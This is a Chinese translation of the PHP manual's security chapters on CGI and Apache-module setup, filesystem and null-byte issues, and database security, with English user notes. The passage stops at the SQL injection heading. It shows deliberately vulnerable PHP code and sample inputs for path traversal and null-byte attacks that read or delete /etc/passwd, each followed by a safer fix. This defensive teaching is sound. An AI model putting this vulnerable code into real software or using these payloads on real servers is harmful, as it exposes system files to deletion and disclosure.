调试代码的时候一定要记住，就算是一个简单的页面也很难对所有可能发生的情况进行检测：对你不满的雇员不一定会输入如你所愿的东西，黑客也有足够的时间研究你的系统，当然，你的宠物猫也会跳到你的键盘上。这就是为什么必须检查所有的代码，去发现哪里可以引入不正当的数据，然后对代码改进、简化或者增强。

互联网上充满了为了成名而破坏你的代码、攻击你的网站并输入不正当数据的人，总之他们会使你的生活充满乐趣。无论是大网站还是小网站，只要能和互联网连接，就会成为一个目标。很多黑客程序并不理会网站的大小，只会机械地扫描 IP 地址并找寻受害者。我们希望那个不要是你。

User Contributed Notes

There are no user contributed notes for this page.


以 CGI 模式安装时

Table of Contents

  • 可能受到的攻击
  • 情形一：只运行公开的文件
  • 情形二：使用 cgi.force_redirect
  • 情形三：设置 doc_root 或 user_dir
  • 情形四：PHP 解释器放在 web 目录以外

User Contributed Notes

Anonymous 03-May-2012 09:06
IMPORTANT INFORMATION

There was a serious vulnerability in certain CGI-based PHP setups that has gone unnoticed for at least 8 years.

For PHP this means that a request containing ?-s may dump the PHP source code for the page.

Make sure to update to current versions and/or use an .htaccess patch, both available here:

PHP 5.3.12 and PHP 5.4.2 Released:
http://www.php.net/archive/2012.php#id2012-05-03-1
Craig Buchek 12-Aug-2007 09:33
NOTE: Running PHP as a CGI program will change the value of $_SERVER['SCRIPT_NAME']. When running via the (normal) mod_PHP mechanism, it will be set to the name of (actually, path to) the PHP script that's running. When running via CGI, it will instead point to the path of the CGI binary.
phpD0TnetATmoritzHYPHONnaumannD0Tcom 09-Jan-2006 09:56
One of the most common reasons why you get 'No input file specified' (AKA 'the second most useful error message in the world') is that you have set 'doc_root' (in php.ini) to a value which is to the 'DocumentRoot' defined in the apache configuration.

This is the same for other webservers. For example, on lighttpd, make sure the 'server.document-root' value is the same as what is defined as 'doc_root' in php.ini.
phil dot ross at gmail dot com 22-Mar-2005 03:56
In response to grange at club-internet dot fr:

There are a couple of errors in the mod_rewrite directives given. I found that the following works:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !200
RewriteRule ^cgi-bin/php.cgi - [F]

I removed the = from the RewriteCond and took out the leading / from the RewriteRule.
kschroeder at mirageworks dot com 11-Feb-2005 07:23
I have noticed that some people have noted that running PHP as a CGI program can run slowly compared with a compiled in module.  Some have noted that they want to use FastCGI but are hesitant.  I found that using the Apache 2's CGID module was a great way to speed up performance almost to the same level as an "so"-installed PHP module but you get the added benefit of running each virtual host under it's own user and group.

In my testing I got 44 pages per second using PHP as a module and I got roughly the same performance (within 5%) running PHP as a CGI program through CGID.

CGID is also really easy to set up.  Just add --enable-cgid to your Apache configure command and you're good to go.  Just set up PHP as a CGI normally.

I'm sure that there's extra RAM used for this method but RAM is as cheap as borscht anyways so it shouldn't be a major factor when trying to speed up PHP CGI.
martelli at geoserve dot com dot br 12-Jul-2004 12:25
PHP CGI with VirtualHosts.

This is what I found out while trying to get php to work as CGI with Apache VirtualHosts.

By enabling 'force-cgiredirects', you *must*:
1) set 'cgi.fix_pathinfo=1' in php.ini
2) leave doc_root commented out (php.ini also)

If you miss item 1, the apache logs will show 'unexpected T_STRING' in the php binary.
If you miss item 2, you'll only see 'No input file specified.', instead of the expected output.

You can then turn on the php support for a particular vhost by defining:

Action php-script /cgi-bin/php

inside the corresponding <VirtualHost> directive.
13-Jun-2004 08:26
PHP works with Apache and suEXEC like this:
(Assuming that suEXEC ist allready installed and working)

Install PHP as CGI binary (e.g. in /usr/local/bin/php)
(compile with --enable-force-cgi-redirect)

Create a Link inside cgi-bin directory to make php-cgi accessable:
cd /usr/local/apache/cgi-bin
ln /usr/local/bin/php php

Edit your httpd.conf file:
 AddHandler php4-script .php
 Action php4-script /cgi-bin/php

 <VirtualHost 123.456.789.0:80>
    User exampleuser
    Group examplegroup
     ...

 </VirtualHost>

Restart Apache

PHP-scripts are now called under the user-id of exampleuser and group-id of examplegroup.
geeky at geeky dot de 02-Sep-2003 07:32
a replacement for suexec is suphp (http://www.suphp.org).

"suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter." (from the website)
pookey at pookey dot co dot uk 21-Mar-2003 10:29
I have setup a guide to installing PHP with SuEXEC in such a way that shebangs (!#/usr/bin/php4) are not needed.  Hope this is of some help to you.

http://www.pookey.co.uk/php-security.xml
goran_johansson at yahoo dot com 17-Feb-2003 06:53
A tip for Windows-users

Just a tip for you so do not do the same mistake as I did:
I just found out that PHP first seem to look in the php-directory for php.ini, and if that file does not exist, it looks in the Windows directory.
I renamed the file php.ini-dist to php.ini and copied it to my Windows directory, and then I modified the infamous "cgi.force_redirect = 0" in the php.ini file located in the Windows directory, to make it work. But it did not because it reads from the "original" php.ini - So when I deleted this php.ini things started working again
matled at gmx dot net 28-Sep-2002 03:53
If you are using php per cgi and have additionally mod_gzip enabled you have to disable mod_gzip for the php cgi binary to use --enable-cgi-redirect. mod_gzip sets the REDIRECT_STATUS always to 200 which makes it impossible for the php binary to know when it was called directly or when it was called by a redirect.
ruben at puettmann dot net 20-Sep-2002 06:29
To use php-cgi with suexec it will be nice that each virtual host has ist's own php.ini. This goes with :

SetEnv PHPRC /var/www/server/www.test.com/conf

But suexec will kill this enviromet cause It don't know that it is "save" so you must edit the suexec.c for compiling ....
yohgaki at hotmail dot com 12-Apr-2001 11:44
If you care about security, you are better of setting

register_globals = off
enable_track_vars = on (Always on from PHP4.0.3)

Default setting for variable order is
EGPCS
(ENV VARS/GET VARS/POST VARS/COOKIE VARS/SESSION VARS)

Imagine if you are rely on ENV VAR but it was orver written with GET/POST/COOKIE vars?
michel dot jansens at ulb dot ac dot be 09-Apr-2001 10:21
If you want to use suexec and reference your php interpreter via #!/usr/local/bin/php,  be shure to compile php WITHOUT  --enable-force-cgi-redirect.

This might seems obvious, but I spent 2 days on this :-(
steeven at kali dot com dot cn 18-Jan-2001 01:54
suEXEC require CGI mode, and slow down the scripts. I did them like this:
1. Install php as DSO mode. (for max speed and low secure)
2. Make a seperate CGI install with --enable-force-cgi-redirect, place php to cgi-bin
3 For more secure with suEXEC, choose one of the following method:
3-1: Place a .htaccess file containing this to override main config:
AddType application/x-httpd-wphp php
Action application/x-httpd-wphp /cgi-bin/php
  All php files in subdirectory will be protected.
3-2: add following in httpd.conf:
AddType application/x-httpd-wphp sphp
Action application/x-httpd-wphp /cgi-bin/php
  then each sensitive php file should be renamed to .sphp

Add "php_value doc_root /home/user/html_docs" to each virtual host directive in httpd.conf
kstone at trivergent dot net 04-May-2000 02:01
Better yet, use binfmt_misc:  (linux only)

echo :php3:E::php3::/usr/bin/php: > /proc/sys/fs/binfmt_misc/register

Eliminates the need for the #! at the top of the file.


可能受到的攻击

如果不想把 PHP 嵌入到服务器端软件（如 Apache）作为一个模块安装的话，可以选择以 CGI 的模式安装。或者把 PHP 用于不同的 CGI 封装以便为代码创建安全的 chroot 和 setuid 环境。这种安装方式通常会把 PHP 的可执行文件安装到 web 服务器的 cgi-bin 目录。CERT 建议书 » CA-96.11 建议不要把任何的解释器放到 cgi-bin 目录。尽管 PHP 可以作为一个独立的解释器，但是它的设计使它可以防止下面类型的攻击：

  • 访问系统文件：http://my.host/cgi-bin/php?/etc/passwd 在 URL 请求的问号（?）后面的信息会传给 CGI 接口作为命名行的参数。其它的解释器会在命令行中打开并执行第一个参数所指定的文件。 但是，以 CGI 模式安装的 PHP 解释器被调用时，它会拒绝解释这些参数。
  • 访问服务器上的任意目录：http://my.host/cgi-bin/php/secret/doc.html 好像上面这种情况，PHP 解释器所在目录后面的 URL 信息 /secret/doc.html 将会例行地传给 CGI 程序并进行解释。通常一些 web 服务器的会将它重定向到页面，如 http://my.host/secret/script.php。如果是这样的话，某些服务器会先检查用户访问 /secret 目录的权限，然后才会创建 http://my.host/cgi-bin/php/secret/script.php 上的页面重定向。不幸的是，很多服务器并没有检查用户访问 /secret/script.php 的权限，只检查了 /cgi-bin/php 的权限，这样任何能访问 /cgi-bin/php 的用户就可以访问 web 目录下的任意文件了。 在 PHP 里，运行时配置指令 cgi.force_redirect、 doc_root 和 user_dir 都可以为服务器上的文件和目录添加限制，用于防止这类攻击。下面将对各个选项的设置进行详细讲解。

User Contributed Notes

There are no user contributed notes for this page.


情形一：只运行公开的文件

如果 web 服务器中所有内容都受到密码或 IP 地址的访问限制，就不需要设置这些选项。如果 web 服务器不支持重定向，或者 web 服务器不能和 PHP 通信而使访问请求变得更为安全，可以开启 cgi.force_redirect ini 指令。除此之外，还要确认 PHP 程序不依赖其它方式调用，比如通过直接的 http://my.host/cgi-bin/php/dir/script.php 访问或通过重定向访问 http://my.host/dir/script.php。

在Apache中，重定向可以使用 AddHandler 和 Action 语句来设置，请看下一节。

User Contributed Notes

There are no user contributed notes for this page.


情形二：使用 cgi.force_redirect

配置指令 cgi.force_redirect 可以防止任何人通过如 http://my.host/cgi-bin/php/secretdir/script.php 这样的 URL 直接调用 PHP。PHP 在此模式下只会解析已经通过了 web 服务器的重定向规则的 URL。

通常 Apache 中的重定向设置可以通过以下指令完成：

Action php-script /cgi-bin/php
AddHandler php-script .php

此选项只在 Apache 下进行过测试，并且要依赖于 Apache 在重定向操作中所设置的非标准 CGI 环境变量 REDIRECT_STATUS。如果 web 服务器不支持任何方式能够判断请求是直接的还是重定向的，就不能使用这个选项，而应该用其它方法。请看下一节。

User Contributed Notes

celtic at sairyx dot org 14-Dec-2006 05:24
Note that force-redirect doesn't work with IIS at all; it'll tell you to go away, as IIS doesn't supply the right variables to PHP.

php.ini tells you to turn it off, so make sure you do.


情形三：设置 doc_root 或 user_dir

在 web 服务器的主文档目录中包含动态内容如脚本和可执行程序有时被认为是一种不安全的实践。如果因为配置上的错误而未能执行脚本而作为普通 HTML 文档显示，那就可能导致知识产权或密码资料的泄露。所以很多系统管理员都会专门设置一个只能通过 PHP CGI 来访问的目录，这样该目录中的内容只会被解析而不会原样显示出来。

对于前面所说无法判断是否重定向的情况，很有必要在主文档目录之外建立一个专用于脚本的 doc_root 目录。

可以通过配置文件内的 doc_root 指令或设置环境变量 PHP_DOCUMENT_ROOT 来定义 PHP 脚本主目录。如果设置了该项，那么 PHP 的 CGI 版本就只会解释 doc_root 目录下的文件，并确保目录外的脚本不会被 PHP 解释器执行（下面所说的 user_dir 除外）。

另一个可用的选项就是 user_dir。当 user_dir 没有设置的时候，doc_root 就是唯一能控制在哪里打开文件的选项。访问如 http://my.host/~user/doc.php 这个 URL 时，并不会打开用户主目录下文件，而只会执行 doc_root 目录下的 ~user/doc.php（这个子目录以 [~] 作开头）。

如果设置了 user_dir，例如 public_php，那么像 http://my.host/~user/doc.php 这样的请求将会执行用户主目录下的 public_php 子目录下的 doc.php 文件。假设用户主目录的绝对路径是 /home/user，那么被执行文件将会是 /home/user/public_php/doc.php。

user_dir 的设置与 doc_root 无关，所以可以分别控制 PHP 脚本的主目录和用户目录。

User Contributed Notes

There are no user contributed notes for this page.


情形四：PHP 解释器放在 web 目录以外

一个非常安全的做法就是把 PHP 解释器放在 web 目录外的地方，比如说 /usr/local/bin。这样做唯一不便的地方就是必须在每一个包含 PHP 代码的文件的第一行加入如下语句：

#!/usr/local/bin/php
还要将这些文件的属性改成可执行。也就是说，要像处理用 Perl 或 sh 或其它任何脚本语言写的 CGI 脚本一样，使用以 #! 开头的 shell-escape 机制来启动它们。

要使 PHP 能使用此设置正确处理 PATH_INFO 和 PATH_TRANSLATED 信息，需要开启 cgi.discard_path ini 指令。

User Contributed Notes

There are no user contributed notes for this page.


以 Apache 模块安装时

当 PHP 以 Apache 模块方式安装时，它将继承 Apache 用户（通常为"nobody"）的权限。这对安全和认证有一些影响。比如，如果用 PHP 来访问数据库，除非数据库有自己的访问控制，否则就要使"nobody"用户可以访问数据库。这意味着恶意的脚本在不用提供用户名和密码时就可能访问和修改数据库。一个 web Spider 也完全有可能偶然发现数据库的管理页面，并且删除所有的数据库。可以通过 Apache 认证来避免此问题，或者用 LDAP、.htaccess 等技术来设计自己的访问模型，并把这些代码作为 PHP 脚本的一部份。

通常，一但安全性达到可以使 PHP 用户（这里也就是 Apache 用户）承担的风险极小的程度时候，可能 PHP 已经到了阻止向用户目录写入任何文件或禁止访问和修改数据库的地步了。这就是说，无论是正常的文件还是非正常的文件，无论是正常的数据库事务来是恶意的请求，都会被拒之门外。

一个常犯的对安全性不利的错误就是让 Apache 拥有 root 权限，或者通过其它途径斌予 Apache 更强大的功能。

把 Apache 用户的权限提升为 root 是极度危险的做法，而且可能会危及到整个系统的安全。所以除非是安全专家，否则决不要考虑使用 su，chroot 或者以 root 权限运行。

除此之外还有一些比较简单的解决方案。比如说可以使用 open_basedir 来限制哪些目录可以被 PHP 使用。也可以设置 Apache 的专属区域，从而把所有的 web 活动都限制到非用户和非系统文件之中。

User Contributed Notes

joe 12-Mar-2022 03:59
It is not useful for ordinary users to have a debate about the lack of security in using PHP without clearly listing step by step methods of resolving the issue. Such methods should be authoritatively provided by PHP and not as a user's opinion, later debated by another user.

It is not that I am opposed to debate. This is how we learn as an open-source community.  However, us mere mortals need the gods of PHP to come to conclusions and give us best practices.
bk 2 at me dot com 24-Feb-2012 05:17
doc_root already limits apache/php script folder locations.

open_basedir is better used to restrict script access to folders
which do NOT contain scripts. Can be a sub-folder of doc_root as in php doc example doc_root/tmp, but better yet in a separate folder tree, like ~user/open_basedir_root/. Harmful scripts could modify other scripts if doc_root (or include_path) and open_basedir overlap.
If apache/php can't browse scripts in open_basedir, even if malicious scripts uploaded more bad scripts there, they won't be browse-able (executable).

One should also note that the many shell execute functions are effectively a way to bypass open_basedir limits, and such functions should be disabled if security demands strict folder access control. Harmful scripts can do the unix/windows version of "delete */*/*/*" if allowed to execute native os shell commands via those functions. OS Shell commands could similarly bypass redirect restrictions and upload file restrictions by just brute force copying files into the doc_root tree. It would be nice if they could be disabled as a group or class of functions, but it is still possible to disable them one by one if needed for security.

PS. currently there is a bug whereby the documented setting of open_basedir to docroot/tmp will not work if any include or require statements are done. Right now include will fail if the included php file is not in BOTH the open_basedir tree and the doc_root+include_path trees. Which is the opposite of safe.
This means by any included php file must be in open_basedir, so is vulnerable to harmful scripts and php viruses like Injektor.
Vikanich 14-Aug-2008 04:41
Big thanks to "daniel dot eckl at gmx dot de" but i have to change his config, because it doesn't work (may be wrong syntax).
I have add only this string to VirtualHost config and it works.
php_admin_value open_basedir  /www/site1/
Now all php scripts are locked in the directory.
Kibab 30-Sep-2005 06:56
I'm running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I've set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn't have admin privilegies :)
daniel dot eckl at gmx dot de 08-Aug-2002 04:16
There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:
<VirtualHost www.example.com>
  ServerName www.example.com
  DocumentRoot /www-home/example.com
[...]
  <Location />
    php_admin_value open_basedir     \ "/www-home/example.com/:/usr/lib/php/"
  </Location>
</VirtualHost>

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker


会话（Session）安全

保持 HTTP 会话管理的安全是重要的。会话安全相关内容描述章节在 Session 模块文档下的会话安全部分。

User Contributed Notes

There are no user contributed notes for this page.


文件系统安全

Table of Contents

  • 空字符（Null bytes）相关问题

PHP 受大多数服务器系统中文件和目录权限的内置安全机制的影响。 这允许控制文件系统中哪些文件是可读的。应该小心对待任何全局可读的文件， 要确保所有有权限访问该文件系统的用户都可以安全的读取文件。

PHP 被设计为以用户级别访问文件系统， 因此完全可以编写 PHP 脚本来读取系统文件，例如 /etc/passwd， 修改网络连接，发送大量打印任务等。这有一些明显的影响，因此需要确保读写的是合适的文件。

请看下面的脚本，用户表示想要删除自己主目录下的一个文件。 假设 PHP web 界面通常用于文件管理， 因此 Apache 用户允许删除用户主目录中的文件。

Example #1 不对变量检查会导致....

<?php
// 从用户主目录移除一个文件
$username = $_POST['user_submitted_name'];
$userfile = $_POST['user_submitted_filename'];
$homedir = "/home/$username";

unlink("$homedir/$userfile");

echo "The file has been deleted!";
?>
由于 username 和 filename 由用户表单中提交，那就能提交属于其他人的 username 和 filename，甚至可以删除不被允许的文件。这种情况下， 应该使用一些其它形式的身份验证。不妨考虑一下，如果提交的变量是 "../etc/" 和 "passwd" 会发生什么。上面代码将等同于：

Example #2 ... 文件系统攻击

<?php
// 删除磁盘中任何 PHP 有访问权限的文件。如果 PHP 有 root 权限：
$username = $_POST['user_submitted_name']; // "../etc"
$userfile = $_POST['user_submitted_filename']; // "passwd"
$homedir = "/home/$username"; // "/home/../etc"

unlink("$homedir/$userfile"); // "/home/../etc/passwd"

echo "The file has been deleted!";
?>
有两个重要措施来防止此类问题。
  • PHP web 用户二进制文件仅允许有限的权限。
  • 检查所有提交上来的变量。
这是改进的脚本：

Example #3 更安全的文件名检查

<?php
// 删除磁盘中 PHP 有权访问的文件。
$username = $_SERVER['REMOTE_USER']; // 使用认证机制
$userfile = basename($_POST['user_submitted_filename']);
$homedir = "/home/$username";

$filepath = "$homedir/$userfile";

if (file_exists($filepath) && unlink($filepath)) {
$logstring = "Deleted $filepath\n";
} else {
$logstring = "Failed to delete $filepath\n";
}
$fp = fopen("/home/logging/filedelete.log", "a");
fwrite($fp, $logstring);
fclose($fp);

echo htmlentities($logstring, ENT_QUOTES);

?>
然而，这样做也是有缺陷的。如果认证系统允许用户创建自己的登录用户名， 而用户选择 "../etc/" 作为登录名，系统将再次暴露。 出于这个原因，需要编写自定义检查：

Example #4 更安全的文件名检查

<?php
$username = $_SERVER['REMOTE_USER']; // 使用认证机制
$userfile = $_POST['user_submitted_filename'];
$homedir = "/home/$username";

$filepath = "$homedir/$userfile";

if (!ctype_alnum($username) || !preg_match('/^(?:[a-z0-9_-]|\.(?!\.))+$/iD', $userfile)) {
die("Bad username/filename");
}

//等等...
?>

根据操作系统的不同，需要关心各种各样的文件，比如设备条目（/dev/ 或 COM1）、配置文件（/etc/ 文件和 .ini 文件）、 众所周知的文件存储区域（/home/， My Documents）等等。出于这个原因，创建一个禁止所有权限而只开放明确允许的策略通常更容易些。

User Contributed Notes

Latchezar Tzvetkoff 10-Mar-2009 03:06
A basic filename/directory/symlink checking may be done (and I personally do) via realpath() ...

<?php

if (isset($_GET['file'])) {
    $base = '/home/polizei/public_html/';  // it seems this one is good to be realpath too.. meaning not a symlinked path..
    if (strpos($file = realpath($base.$_GET['file']), $base) === 0 && is_file($file)) {
        unlink($file);
    } else {
        die('blah!');
    }
}
?>
anonymous 17-Nov-2005 02:58
(A) Better not to create files or folders with user-supplied names. If you do not validate enough, you can have trouble. Instead create files and folders with randomly generated names like fg3754jk3h and store the username and this file or folder name in a table named, say, user_objects. This will ensure that whatever the user may type, the command going to the shell will contain values from a specific set only and no mischief can be done.

(B) The same applies to commands executed based on an operation that the user chooses. Better not to allow any part of the user's input to go to the command that you will execute. Instead, keep a fixed set of commands and based on what the user has input, and run those only.

For example,
(A) Keep a table named, say, user_objects with values like:
username|chosen_name   |actual_name|file_or_dir
--------|--------------|-----------|-----------
jdoe    |trekphotos    |m5fg767h67 |D
jdoe    |notes.txt     |nm4b6jh756 |F
tim1997 |_imp_ folder  |45jkh64j56 |D

and always use the actual_name in the filesystem operations rather than the user supplied names.

(B)
<?php
$op = $_POST['op'];//after a lot of validations
$dir = $_POST['dirname'];//after a lot of validations or maybe you can use technique (A)
switch($op){
    case "cd":
        chdir($dir);
        break;
    case "rd":
        rmdir($dir);
        break;
    .....
    default:
        mail("webmaster@example.com", "Mischief", $_SERVER['REMOTE_ADDR']." is probably attempting an attack.");
}
fmrose at ncsu dot edu 09-Oct-2005 04:31
All of the fixes here assume that it is necessary to allow the user to enter system sensitive information to begin with. The proper way to handle this would be to provide something like a numbered list of files to perform an unlink action on and then the chooses the matching number. There is no way for the user to specify a clever attack circumventing whatever pattern matching filename exclusion syntax that you may have.

Anytime you have a security issue, the proper behaviour is to deny all then allow specific instances, not allow all and restrict. For the simple reason that you may not think of every possible restriction.
1 at 234 dot cx 23-Jun-2005 05:24
I don't think the filename validation solution from Jones at partykel is complete.  It certainly helps, but it doesn't address the case where the user is able to create a symlink pointing from his home directory to the root.  He might then ask to unlink "foo/etc/passwd" which would be in his home directory, except that foo is a symlink pointing to /.

Personally I wouldn't feel confident that any solution to this problem would keep my system secure.  Running PHP as root (or some equivalent which can unlink files in all users' home directories) is asking for trouble.

If you have a multi-user system and you are afraid that users may install scripts like this, try security-enhanced Linux.  It won't give total protection, but it at least makes sure that an insecure user script can only affect files which the web server is meant to have access to.  Whatever script someone installs, outsiders are not going to be able to read your password file---or remove it.
cronos586(AT)caramail(DOT)com 05-Jan-2002 03:48
when using Apache you might consider a apache_lookup_uri on the path, to discover the real path, regardless of any directory trickery.
then, look at the prefix, and compare with a list of allowed prefixes.
for example, my source.php for my website includes:
if(isset($doc)) {
    $apacheres = apache_lookup_uri($doc);
    $really = realpath($apacheres->filename);
    if(substr($really, 0, strlen($DOCUMENT_ROOT)) == $DOCUMENT_ROOT) {
        if(is_file($really)) {
            show_source($really);
        }
    }
}
hope this helps
regards,
KAT44
devik at cdi dot cz 21-Aug-2001 07:52
Well, the fact that all users run under the same UID is a big problem. Userspace  security hacks (ala safe_mode) should not be substitution for proper kernel level security checks/accounting.
Good news: Apache 2 allows you to assign UIDs for different vhosts.
devik
eLuddite at not dot a dot real dot addressnsky dot ru 11-Nov-2000 09:44
I think the lesson is clear:

(1) Forbit path separators in usernames.
(2) map username to a physical home directory - /home/username is fine
(3) read the home directory
(4) present only results of (3) as an option for deletion.

I have discovered a marvelous method of doing the above in php but this submission box is too small to contain it.

:-)


空字符（Null bytes）相关问题

由于 PHP 使用底层 C 函数进行文件系统相关操作，因此它可能会以完全意想不到的方式处理空字符。 在 C 语言中空字符标识字符串的结束，所以一个完整的字符串是从其开头到遇见空字符为止。 下面的示例展示了易受攻击的代码，演示了这个问题：

Example #1 会被空字符攻击的代码

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
// 当 /home/wwwrun/../../etc/passwd 文件存在的时候 file_exists 将会返回 true
include '/home/wwwrun/'.$file.'.php';
// 将会加载 /etc/passwd 文件
}
?>

因此，在文件系统操作中都应该正确检查任何被污染的字符串。这是上个示例的改进版本：

Example #2 验证输入的正确性

<?php
$file = $_GET['file'];

// 对值进行白名单检查
switch ($file) {
case 'main':
case 'foo':
case 'bar':
include '/home/wwwrun/include/'.$file.'.php';
break;
default:
include '/home/wwwrun/include/main.php';
}
?>

User Contributed Notes

cornernote [at] gmail.com 21-Apr-2015 04:26
clean input of null bytes:

<?php
$clean = str_replace(chr(0), '', $input);
?>
Anonymous 09-May-2014 02:51
Looks like this issue was fixed in PHP 5.3 https://bugs.php.net/bug.php?id=39863


数据库安全

Table of Contents

  • 设计数据库
  • 连接数据库
  • 加密存储模型
  • SQL 注入

今时今日，数据库系统已经成为各个动态网站上 web 应用程序的重要组成部分。由于非常敏感和机密的数据有可能保存在数据库中，所以对数据库实施保护就显得尤为重要了。

要从数据库中提取或者存入数据，就必须经过连接数据库、发送一条合法查询、获取结果、关闭连接等步骤。目前，能完成这一系列动作的最常用的查询语言是结构化查询语言 Structured Query Language (SQL)。可以看看攻击者是如何篡改 SQL 查询语句的。

PHP 本身并不能保护数据库的安全。下面的章节只是讲述怎样用 PHP 脚本对数据库进行基本的访问和操作。

记住一条简单的原则：深入防御。保护数据库的措施越多，攻击者就越难获得和使用数据库内的信息。正确地设计和应用数据库可以减少被攻击的担忧。

User Contributed Notes

Chris Travers 28-Jul-2012 11:45
Regarding where to put logic, it's really best not to be dogmatic about this.  Putting logic in the db can have some security advantages but it has other security gotchas (for example, SQL injection inside a stored procedure may be possible in some environments).  Similarly it can have some portability advantages and disadvantages.

The real question is that you want to ask what you want to be portable.  If you put it in the db, it becomes easier to integrate programs written in different development environments with a minimum of security gotchas.  If you put it in the application, then you have to create the interfaces on that level in middleware.  Both approaches are doable.  On the other hand if you are writing software you want to be deployable in MS SQL shops and Oracle shops, then you have to write portable SQL (avoiding gotchas) and put the logic in the application.

When we started rewriting the LedgerSMB codebase, we decided to move logic into the db because this would make it easier to retrofit security onto a very insecure codebase (by not trusting the application), and because we wanted to support languages other than Perl.  A few years later this is bearing fruit and indeed I am reading the manual because I am writing integration libraries in PHP.  I am not much of a PHP guy (I haven't programmed PHP since PHP 4.x) but I can write modules that let folks write code to interface securely with LedgerSMB's database logic.  You can think of the stored procedures as being named queries which are shared between applications, or as API's to the database.  But again, this approach is not universally applicable.

If portability between db's is not a major requirement, then I think the best approach is to do as much as possible in SQL queries and put those in the database.  A couple hundred lines of SQL can replace a couple thousand lines in Perl or PHP, and is fundamentally easier to debug.  Of course that won't work for everyone.
Dave Martin 16-Aug-2007 12:15
The posting below is at the very best extremely POV.

There is no more reason to assume you would want to change database vendor than there is to assume you might want to port your php code to Java for example. In either case, its going to be a matter of luck where your business rules sit.

Even if your business rules sit in your application, SQL is NOT portable. Oracle outer joins and pivot queries for example, can look completely different to those in other vendors software (particularly from 8i or lower). This fact alone means that changing your DB vendor requires work on your business rules either in the database or in the application.

Having your rules in the database and keeping the sql in application simple, will at least keep the work in the database if you need to change DB vendor. If you have the rules in the PHP, you'll have to change both.
x12code at yahoo dot com 14-Aug-2007 09:48
About offloading business logic to views and queries facilitated by the database engine, I seek to avoid this as much as possible, and only do so when such would drastically improve efficiency and user response time.

For instance, where I am there is database staff and application staff. Trying to do analysis on existent applications can easily become a snipe hunt.

The database should be kept discreet as much as possible from the application, such that any database or database provider can easily be substituted with a minimum of cognitive effort on the part of the one setting up a new database. If functionality has been offloaded to the database, additional testing is required to make sure triggers and views were done correctly, again, and that they work right.

Also, keeping all business logic with the application allows all functionality and documentation to be readable in one place, which is invaluable when doing subsequent analysis on an existing application. The worst thing is to have functionality scattered here and there.

Keeping everything with the application means one group of people is responsible, as in my case, application staff. Fewer requests go back and forth. Remember, anytime someone else is brought into the picture, such as asking a DBA to create a view or trigger for you, that DBA must take responsibility over his or her work, with whatever requirements, causing more bureaucracy and administrative complexity.
30-Jun-2005 03:57
you can also chamge CHMOD for some file containing "user names" or "passwords"


设计数据库

第一步一般都是创建数据库，除非是使用第三方的数据库服务。当创建一个数据库的时候，会指定一个所有者来执行和新建语句。通常，只有所有者（或超级用户）才有权对数据库中的对象进行任意操作。如果想让其他用户使用，就必须赋予他们权限。

应用程序永远不要使用数据库所有者或超级用户帐号来连接数据库，因为这些帐号可以执行任意的操作，比如说修改数据库结构（例如删除一个表）或者清空整个数据库的内容。

应该为程序的每个方面创建不同的数据库帐号，并赋予对数据库对象的极有限的权限。仅分配给能完成其功能所需的权限，避免同一个用户可以完成另一个用户的事情。这样即使攻击者利用程序漏洞取得了数据库的访问权限，也最多只能做到和该程序一样的影响范围。

鼓励用户不要把所有的事务逻辑都用 web 应用程序（即用户的脚本）来实现。最好用视图（view）、触发器（trigger）或者规则（rule）在数据库层面完成。当系统升级的时候，需要为数据库开辟新的接口，这时就必须重做所有的数据库客户端。除此之外，触发器还可以透明和自动地处理字段，并在调试程序和跟踪事实时提供有用的信息。

User Contributed Notes

krystian at jablonowski dot eu 20-Jul-2021 05:58
It's a good practice to create a user account with absolutely minimal permissions. Whenever You need to select those permissions by columns or tables remember that some rules don't apply to security measures on Your server, like "We are all adults here" or "KISS - Keep It Simple Stupid". Personally, I prefer to create a minimal amount of users with only the necessary authorization to manipulate or collect data from DB.
Remember, that leak of data can have tremendous consequences, and rebuilding the trust of Your users is extremely hard to accomplish.


连接数据库

把连接建立在 SSL 加密技术上可以增加客户端和服务器端通信的安全性，或者 SSH 也可以用于加密客户端和数据库之间的连接。如果使用了这些技术的话，攻击者要监视服务器的通信或者得到数据库的信息是很困难的。

User Contributed Notes

There are no user contributed notes for this page.


加密存储模型

SSL/SSH 能保护客户端和服务器端交换的数据，但 SSL/SSH 并不能保护数据库中已有的数据。SSL 只是一个加密网络数据流的协议。

如果攻击者取得了直接访问数据库的许可（绕过 web 服务器），敏感数据就可能暴露或者被滥用，除非数据库自己保护了这些信息。对数据库内的数据加密是减少这类风险的有效途径，但是只有很少的数据库提供这些加密功能。

解决这个问题最简单的方法是创建自己的加密包，然后在 PHP 脚本中使用它。PHP 可以通过一些扩展来帮助你解决这个问题，比如 OpenSSL 和 Sodium，涵盖了多种加密算法。脚本在将数据插入数据库之前对其进行加密，并在检索时对其进行解密。更多关于加密工作的例子请参见参考文献。

Hashing

In the case of truly hidden data, if its raw representation is not needed (i.e. will not be displayed), hashing should be taken into consideration. The well-known example for hashing is storing the cryptographic hash of a password in a database, instead of the password itself.

The password functions provide a convenient way to hash sensitive data and work with these hashes.

password_hash() is used to hash a given string using the strongest algorithm currently available and password_verify() checks whether the given password matches the hash stored in database.

Example #1 Hashing password field

<?php

// 存储密码散列
$query = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
pg_escape_string($username),
password_hash($password, PASSWORD_DEFAULT));
$result = pg_query($connection, $query);

// 发送请求来验证用户密码
$query = sprintf("SELECT pwd FROM users WHERE name='%s';",
pg_escape_string($username));
$row = pg_fetch_assoc(pg_query($connection, $query));

if ($row && password_verify($password, $row['pwd'])) {
echo 'Welcome, ' . htmlspecialchars($username) . '!';
} else {
echo 'Authentication failed for ' . htmlspecialchars($username) . '.';
}

?>

User Contributed Notes

There are no user contributed notes for this page.


SQL 注入

